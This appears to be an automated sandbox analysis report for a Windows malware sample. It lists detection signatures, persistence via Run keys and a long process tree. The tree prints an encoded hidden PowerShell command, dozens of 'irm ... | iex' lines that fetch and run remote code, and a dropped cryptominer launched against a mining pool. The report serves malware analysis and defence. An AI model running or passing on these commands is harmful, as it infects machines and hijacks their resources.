Overview

overview

8

Static

static

3

2026-10-26...lc.exe

windows10-2004-x64

8

2026-10-26...lc.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    102s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/10/2026, 15:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-26_6d3acaad456f9784761e691bd0ffdfa4_glassworm_icedid_luca-stealer_njrat_stealc.exe
  • Size 3.7MB
  • Sample261027-sdapbsdg95
  • SHA256 b3040168133e7439062350c637be038fb78b491acb880ea6cdbaec25fde49761
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistence

Malware Config

Signatures

  • Badlisted process makes network request 64 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

    Run Powershell and hide display window.

    execution
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 35 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_6d3acaad456f9784761e691bd0ffdfa4_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-26_6d3acaad456f9784761e691bd0ffdfa4_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Checks BIOS information in registry
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2796
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
          4⤵
          • Executes dropped EXE
          PID:4632
    • C:\Users\Admin\AppData\Local\Temp\bndC791.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\bndC791.tmp.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      PID:2716
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/611831 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/611831 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2392
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/859712 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/859712 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4656
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/563300 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/563300 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:1172
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/860874 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/860874 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2088
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/187793 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/187793 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2020
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/813129 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/813129 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2776
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/374557 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/374557 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4564
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/344305 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/344305 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:1692
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/210491 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4260
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/210491 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4740
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/228120 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/228120 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4344
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/662440 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/662440 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4332
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/706895 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/706895 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:3076
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/677545 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/677545 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4408
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/942086 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/942086 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2808
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/733597 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/733597 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4712
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/133410 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:4984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/133410 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:620
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/805190 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:3812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/805190 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:3772
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/224791 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:4936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/224791 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:4708
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/863493 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/863493 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:3292
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/969067 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:60
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/969067 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:2124
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/384026 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:3140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/384026 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:712
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/996376 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/996376 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:2472
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/734492 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:1312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/734492 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:1284
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/243800 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/243800 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:3948
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/940370 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/940370 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:4220
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/760284 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:4348
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/760284 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:3292
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/188343 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/188343 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:2332
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/359821 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/359821 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:1804
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/203583 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:4712
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/203583 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:3316
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/975794 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:3200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/975794 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/383416 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:4336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/383416 | iex"
      2⤵
      • Adds Run key to start application
      PID:2084
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/864580 | iex"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/864580 | iex"
      2⤵
      • Adds Run key to start application
      PID:1044
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/946699 | iex"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:4756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/946699 | iex"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:1832
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/256584 | iex"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:1020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/256584 | iex"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:2920
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/189580 | iex"
    1⤵
      PID:1204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/189580 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/737121 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4172
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/737121 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/140943 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4192
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/140943 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4568
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/906203 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      PID:696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/906203 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:1816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/931206 | iex"
      1⤵
        PID:2328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/931206 | iex"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          PID:2240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/817355 | iex"
        1⤵
        • Command and Scripting Interpreter: PowerShell
        PID:732
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/817355 | iex"
          2⤵
            PID:4164
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/692641 | iex"
          1⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4112
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/692641 | iex"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:3284
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/961054 | iex"
          1⤵
            PID:2728
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/961054 | iex"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:2192
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/597398 | iex"
            1⤵
            • Command and Scripting Interpreter: PowerShell
            PID:1872
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/597398 | iex"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3584
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/350700 | iex"
            1⤵
              PID:900
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/350700 | iex"
                2⤵
                  PID:2488
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/950932 | iex"
                1⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4148
